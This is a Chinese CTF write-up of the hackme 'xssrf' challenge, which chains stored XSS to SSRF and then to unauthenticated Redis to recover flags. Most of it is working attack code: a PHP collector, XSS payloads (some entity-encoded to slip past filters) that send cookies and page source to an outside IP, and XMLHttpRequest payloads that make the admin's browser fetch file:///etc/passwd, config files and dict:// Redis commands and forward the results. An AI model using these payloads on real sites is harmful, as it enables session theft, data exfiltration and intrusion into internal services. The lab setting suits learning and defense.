从XSS到SSRF

前两天学了些ssrf,今天偶尔看到了一篇wp,写的是关于hackme 平台上xssrf这道题的,通过xss-ssrf-redis来拿到flag,很有意思,遂学习一波

复习有关XSS的一些基础知识

HTML DOM Document对象

1.在 HTML DOM (Document Object Model) 中 , 每一个元素都是 节点:

  • 文档是一个文档节点。

  • 所有的HTML元素都是元素节点。

  • 所有 HTML 属性都是属性节点。

  • 文本插入到 HTML 元素是文本节点。are text nodes。

  • 注释是注释节点。

2.当浏览器载入 HTML 文档, 它就会成为 Document 对象。

Document 对象是 HTML 文档的根节点。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

3.常用的Document对象的属性和方法

  • document.body:返回文档的body元素

    • document.body.innerHTML:获取当前文档的HTML的内容
  • document.cookie 设置或返回与当前文档有关的所有 cookie

4.Location 对象包含有关当前 URL 的信息

XSS平台搭建

现在网上好多XSS平台都不能用了

BlueLotus_XSSReceiver的开源XSS平台:https://github.com/firesunCN/BlueLotus_XSSReceiver

XSS获取网页源码插件:https://www.cnblogs.com/afanti/p/8277344.html

但是用了XSS平台后就感觉使用XSS平台没有直接使用服务器方便

XSS Payload

首先,先在服务器开放一个端口,创建index.php,写入:

1
2
<?php
file_put_contents('log.php', $_SERVER['QUERY_STRING']);

之后的XSS只需把请求的目标vps改为自己新建的这个服务ip端口即可,直接查看log.php即可得到攻击的信息;原理就是,当admin查看你输入的恶意代码时,会触发事件,向vps发送请求,且会获取admin页面的参数信息如cookie、页面源码等作为参数一并发送到vps接收端,vps获取请求参数并将其写入log文件内

1.获取网页Cookie:

<svg/onload="document.location='http://101.132.41.135:1262/?'+document.cookie">

实体编码后:

<svg/onload="&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x30;&#x31;&#x2E;&#x31;&#x33;&#x32;&#x2E;&#x34;&#x31;&#x2E;&#x31;&#x33;&#x35;&#x3A;&#x31;&#x32;&#x36;&#x32;&#x2F;&#x3F;&#x27;&#x2B;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;">

2.获取网页源码:

<svg/onload="document.location='http://101.132.41.135:1262/?'+btoa(document.body.innerHTML)">

实体编码后:

<svg/onload="&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x30;&#x31;&#x2E;&#x31;&#x33;&#x32;&#x2E;&#x34;&#x31;&#x2E;&#x31;&#x33;&#x35;&#x3A;&#x31;&#x32;&#x36;&#x32;&#x2F;&#x3F;&#x27;&#x2B;&#x62;&#x74;&#x6F;&#x61;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x62;&#x6F;&#x64;&#x79;&#x2E;&#x69;&#x6E;&#x6E;&#x65;&#x72;&#x48;&#x54;&#x4D;&#x4C;&#x29;">

3.Ajax请求

可以用此方法在请求时指定内网路径和参数,如POST数据的payload:

<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

HTML实体在线编码网址:https://www.qqxiuzi.cn/bianma/zifushiti.php

hackme xssrf

这相当于一道题目藏了三个flag,不过hackme平台把题目分成三道题了

在测试时,发现打不到cookie,但源码可以打到,不知道是不是题目的问题…不过这道题的第一个藏在cookie中的flag与第二个和第三个flag没什么关系,所以跳过第一个,直接进行第二步和第三步

首先进行信息收集,扫到以下路径:

git只是具有诱导作用,并不能恢复出文件;backup.zip下载后需要密码才能解压;访问robots.txt文件,得到以下信息:

1
2
3
4
User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip

访问/config.php不过什么都没显示;接下来进行xss探测:

可以得到admin访问的路径Referer: http://localhost/read.php?id=5520

由于没有成功打到cookie,这里就不打cookie了

读取read.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">

<div class="card text-white bg-dark">
<div class="card-body">
<h2 class="card-title">
asdf </h2>
<h4>From: <a href="sendmail.php?to=dropsec">dropsec</a></h4>
<div class="card-text"><svg onload="document.location='http://101.132.41.135:1262/?'+btoa(document.body.innerHTML)"></svg></div>
</div>
</div>
</div>

发现其中多了两个文件,一个setadmin.php,一个request.php,用Ajax请求来分别获取这两个文件源码

setadmin.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Set Admin</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">
<form action="/setadmin.php" method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" name="username" class="form-control" id="username" aria-describedby="username" placeholder="Username">
</div>

<button class="btn btn-primary">Give Admin Access</button>
</form>
</div>
</body>
</html>

request.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Request</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
<style>pre { background-color: #eee; padding: 5px; }</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">


<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</div>

<button class="btn btn-primary">Send Request</button>
</form>
</div>
</body>
</html>

先用Ajax对setadmin.php发起请求:

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("POST","setadmin.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("username=dropsec");

结果打到的页面显示说This user is already a admin.,,,

那就对request.php发起请求,可以看到表单name为url,试探是不是ssrf:

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
       document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
    }
}
    xmlhttp.open("POST","request.php",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("url=file:///etc/passwd");

得到的页面显示出了/etc/passwd的内容

接下来尝试获取config.php内容,这里需要猜测网站根目录:

Apache /var/wwww/html
Nginx /usr/local/nginx/html
1
2
3
4
5
6
7
8
9
10
11
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");

得到flag,并且得到下一个flag的提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

// database config
define('DB_USER', 'xssrf');
define('DB_PASS', 'xssrfmeplz');
define('DB_HOST', 'host=localhost');
define('DB_NAME', 'xssrf');

// redis config
define('REDIS_HOST', 'localhost');
define('REDIS_PORT', 25566);

// define flag
define('FLAG', 'FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}');

$c_hardness = 5; // how many proof of work leading zeros

使用dictgopher协议来获取redis信息:

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
       document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
    }
}
    xmlhttp.open("POST","request.php",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("url=dict://127.0.0.1:25566/KEYS *");

得到如下关键信息:

-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)

*1

$4

flag

+OK

关于redis未授权访问:

我们可以通过以下命令查看是否设置了密码验证:

1
2
3
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""

默认情况下 requirepass 参数是空的,这就意味着你无需通过密码验证就可以连接到 redis 服务。

你可以通过以下命令来修改该参数:

1
2
3
4
5
127.0.0.1:6379> CONFIG set requirepass "runoob"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "runoob"

设置密码后,客户端连接 redis 服务就需要密码验证,否则无法执行命令。

有了键名称,接下来获取值:

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
       document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
    }
}
    xmlhttp.open("POST","request.php",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("url=dict://127.0.0.1:25566/GET flag");

本以为能直接获取到flag,但报错了:

WRONGTYPE Operation against a key holding the wrong kind of value

说值的类型错误,那就查看flag的类型:

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
       document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
    }
}
    xmlhttp.open("POST","request.php",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("url=dict://127.0.0.1:25566/TYPE flag");

得到类型list,关于redis的list,有以下简单说明:

Redis列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)

一个列表最多可以包含 232 - 1 个元素 (4294967295, 每个列表超过40亿个元素)。

1
2
3
4
5
6
7
8
9
10
11
redis 127.0.0.1:6379> LPUSH runoobkey redis
(integer) 1
redis 127.0.0.1:6379> LPUSH runoobkey mongodb
(integer) 2
redis 127.0.0.1:6379> LPUSH runoobkey mysql
(integer) 3
redis 127.0.0.1:6379> LRANGE runoobkey 0 10

1) "mysql"
2) "mongodb"
3) "redis"

之后查看flag列表长度:

1
2
3
4
5
6
7
8
9
10
11
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=dict://127.0.0.1:25566/LLEN flag");

得到长度53

最后查看flag列表的值:

1
2
3
4
5
6
7
8
9
10
11
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://101.132.41.135:1262/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=dict://127.0.0.1:25566/LRANGE flag 0 53");

得到数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
&NewLine;&dollar;1
&NewLine;&rcub;
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;i
&NewLine;&dollar;1
&NewLine;o
&NewLine;&dollar;1
&NewLine;l
&NewLine;&dollar;1
&NewLine;p
&NewLine;&dollar;1
&NewLine;x
&NewLine;&dollar;1
&NewLine;e
&NewLine;&dollar;1
&NewLine;
&NewLine;&dollar;1
&NewLine;o
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;
&NewLine;&dollar;1
&NewLine;y
&NewLine;&dollar;1
&NewLine;s
&NewLine;&dollar;1
&NewLine;a
&NewLine;&dollar;1
&NewLine;e
&NewLine;&dollar;1
&NewLine;
&NewLine;&dollar;1
&NewLine;s
&NewLine;&dollar;1
&NewLine;i
&NewLine;&dollar;1
&NewLine;
&NewLine;&dollar;1
&NewLine;n
&NewLine;&dollar;1
&NewLine;o
&NewLine;&dollar;1
&NewLine;i
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;a
&NewLine;&dollar;1
&NewLine;c
&NewLine;&dollar;1
&NewLine;i
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;n
&NewLine;&dollar;1
&NewLine;e
&NewLine;&dollar;1
&NewLine;h
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;u
&NewLine;&dollar;1
&NewLine;a
&NewLine;&dollar;1
&NewLine;
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;u
&NewLine;&dollar;1
&NewLine;o
&NewLine;&dollar;1
&NewLine;h
&NewLine;&dollar;1
&NewLine;t
&NewLine;&dollar;1
&NewLine;i
&NewLine;&dollar;1
&NewLine;w
&NewLine;&dollar;1
&NewLine;
&NewLine;&dollar;1
&NewLine;s
&NewLine;&dollar;1
&NewLine;i
&NewLine;&dollar;1
&NewLine;d
&NewLine;&dollar;1
&NewLine;e
&NewLine;&dollar;1
&NewLine;R
&NewLine;&dollar;1
&NewLine;&lbrace;
&NewLine;&dollar;1
&NewLine;G
&NewLine;&dollar;1
&NewLine;A
&NewLine;&dollar;1
&NewLine;L
&NewLine;&dollar;1
&NewLine;F

写脚本:

1
2
3
4
5
6
7
f = open('str.txt', 'r').read()

f = f.replace('&NewLine;', '')
f = f.replace('&dollar;1', '')
f = f.replace('\n', '')

print(f[::-1])

得到flag:

FLAG{Redis without authentication is easy to exploit}

小结

XSS真是太强大了,看飘零大佬和N0rth3ty大佬的文章弄了整整一天才弄懂,收货颇丰!


参考链接:

http://www.northity.com/2018/10/23/XSSme%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/#%E5%89%8D%E8%A8%80

https://www.anquanke.com/post/id/156377#h3-2

https://www.runoob.com/redis/redis-security.html